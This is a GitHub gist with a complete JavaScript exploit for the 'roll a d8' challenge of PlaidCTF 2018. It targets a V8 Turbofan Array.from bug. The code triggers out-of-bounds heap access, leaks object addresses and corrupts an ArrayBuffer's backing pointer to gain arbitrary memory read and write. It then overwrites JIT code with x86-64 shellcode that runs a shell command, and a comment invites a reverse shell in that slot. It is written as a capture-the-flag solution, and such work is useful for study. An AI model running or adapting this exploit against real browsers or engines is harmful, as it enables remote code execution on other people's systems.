Skip to content

Instantly share code, notes, and snippets.

@saelo
Created May 6, 2018 16:12
Show Gist options
  • Save saelo/52985fe415ca576c94fc3f1975dbe837 to your computer and use it in GitHub Desktop.
Save saelo/52985fe415ca576c94fc3f1975dbe837 to your computer and use it in GitHub Desktop.
Exploit for the "roll a d8" challenge of PlaidCTF 2018
//
// Quick and dirty exploit for the "roll a d8" challenge of PlaidCTF 2018.
// N-day exploit for https://chromium.googlesource.com/v8/v8/+/b5da57a06de8791693c248b7aafc734861a3785d
//
// Scroll down do "BEGIN EXPLOIT" to skip the utility functions.
//
// Copyright (c) 2018 Samuel Groß
//
//
// Utility functions.
//
// Return the hexadecimal representation of the given byte.
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
//
//
// BEGIN EXPLOIT
//
//
// Insert your reverse shell here
var cmd = "echo pwned;";
// Function that we will later overwrite the JIT code of
function run_shellcode(x) {
// Something to keep turbofan from inlining this function
// (Might not be required, just to be safe...)
for (var i = 2; i < x / 2; i++) {
if (x % i == 0)
return false;
}
return true;
}
// Force JIT compiliation
for (var i = 0; i < 1000; i++)
run_shellcode(i);
var bufs = [];
var objs = [];
// Trigger the bug
//
// PoC copied from the crashing testcase:
// https://chromium.googlesource.com/v8/v8/+/b5da57a06de8791693c248b7aafc734861a3785d
//
// Bug: The Turbofan builtin for Array.from does SetLength on the result array
// (which in this case is |oobArray|, due to the custom |this| value for the
// function call) after iterating the argument is done. It does not check if
// the array has been resized in between though, thus setting the length to
// |maxSize| while the underlying memory buffer is now only ~10 elements
// large. This gives us a relative OOB memory read/write into the v8 heap.
// make |oobArray| an unboxed double array so we can conveniently read and write memory.
let oobArray = [0.0,1.1,2.2,3.3,4.4];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++ + 0.1;
if (this.counter > maxSize) {
// Don't resize to 0 elements so the backing buffer is reallocated
// to some memory region where we can place other objects.
oobArray.length = 10;
// |oobArray| has now been resized. Allocate some objects that will
// hopefully land behind it. In particular, allocate ArrayBuffers that
// we can corrupt and some plain objects to leak the address of our
// |run_shellcode| function.
for (var i = 0; i < 100; i++) {
bufs.push(new ArrayBuffer(0x4141));
objs.push({a: 0x42424242, b: run_shellcode, c: 0x43434343});
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
// Search for our objects in memory
//
// We can now read and write memory (as double values, since |oobArray| is an
// unboxed double array) behind the backing buffer of |oobArray|. Hopefully by
// now some of our allocated objects will be in that memory region. We can
// recognize the ArrayBuffers by their length (0x4141) and the plain objects
// from the inline properties (0x42424242 and 0x43434343)
//
// The ArrayBuffers look like this in memory:
//
// 0x00002f5246603d31 <- Map pointer
// 0x000012c543082251 <- OOL Properties (empty fixed array)
// 0x000012c543082251 <- JS Elements (unused, empty fixed array)
// 0x0000414100000000 <- Size as SMI
// 0x000055f399d4ec40 <- Pointer to backing buffer (we want to corrupt this later)
// 0x000055f399d4ec40 <- Again
// 0x0000000000004141 <- Size as native integer
//
// While the plain objects look like this:
//
// 0x00002f524660ae51 <- Map pointer
// 0x000012c543082251 <- OOL Properties (empty fixed array)
// 0x000012c543082251 <- JS Elements (empty fixed array)
// 0x4242424200000000 <- Inline property |a|
// 0x00002d6968926b39 <- Inline property |b| (this is the pointer to |run_shellcode|)
// 0x4343434300000000 <- Inline property |c|
var idx = -1;
var buffer = null;
var funcAddr = null;
var cmdAddr = null;
for (var i = 0; i < oobArray.length; i++) {
var v = Int64.fromDouble(oobArray[i]);
if (v.toString() == "0x4242424200000000") {
funcAddr = Sub(Int64.fromDouble(oobArray[i+1]), 1);
break;
}
}
for (var i = 0; i < oobArray.length; i++) {
var v = Int64.fromDouble(oobArray[i]);
if (v.toString() == "0x0000414100000000") {
idx = i;
// Hold on to the original address, we'll copy our shell command there
cmdAddr = Sub(Int64.fromDouble(oobArray[i+1]), 0);
// Mark the ArrayBuffer (by changing its length) so we know which one we are corrupting
oobArray[i] = (new Int64("0x0000424200000000")).asDouble();
oobArray[i+3] = (new Int64("0x0000000000004242")).asDouble();
break;
}
}
// Find the ArrayBuffer that we are able to corrupt
for (var i = 0; i < bufs.length; i++) {
var ab = bufs[i];
if (ab.byteLength == 0x4242) {
buffer = ab;
break;
}
}
// Check if we succeeded
if (buffer == null || funcAddr == null || cmdAddr == null)
throw "Could not find objects in memory :(";
// Copy our shell command to a known address (the backing buffer of the
// ArrayBuffer we found in memory)
var cmdBuf = new Uint8Array(buffer, 0, 100);
cmdBuf.set(Array.from(cmd).map((c) => c.charCodeAt(0)));
// For convenience, a memory read/write object
//
// Note: for our read/write we simply modify the pointer to the backing buffer
// of our choosen ArrayBuffer instance via the |oobArray| and then access that
// memory via a typed array view on the corrupted ArrayBuffer. This is likely
// going to break/crash once GC runs (it's moving stuff around in memory) but
// is fine for a CTF exploit :)
//
// We could make this stable by first allocating two ArrayBuffers, running GC a
// few times to move them to their final address in OldSpace, then leaking their
// addresses like we do here with |run_shellcode| and corrupting one of them
// so its backing buffer now points to the other ArrayBuffer.
var memory = {
read8(addr) {
oobArray[idx+1] = addr.asDouble();
var v = new Float64Array(buffer, 0, 8);
return Int64.fromDouble(v[0]);
},
read(addr, len) {
oobArray[idx+1] = addr.asDouble();
var v = new Uint8Array(buffer, 0, len);
return Array.from(v);
},
write(addr, val) {
oobArray[idx+1] = addr.asDouble();
var v = new Uint8Array(buffer);
v.set(val);
}
};
// Standard stuff: leak the pointer to the JIT code for |run_shellcode| and
// write our own code there. Then call |run_shellcode|
var codeAddr = memory.read8(Add(funcAddr, 48));
var jitCodeAddr = Add(codeAddr, 95);
// Essentially `system(cmd);`
var shellcode = [].concat(
[72,49,210,72,184,47,98,105,110,47,115,104,0,80,72,137,231,184,45,99,0,0,80,72,137,225,72,184],
Array.from(cmdAddr.bytes()),
[82,80,81,87,72,137,230,184,59,0,0,0,15,5]
);
memory.write(jitCodeAddr, shellcode);
run_shellcode();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment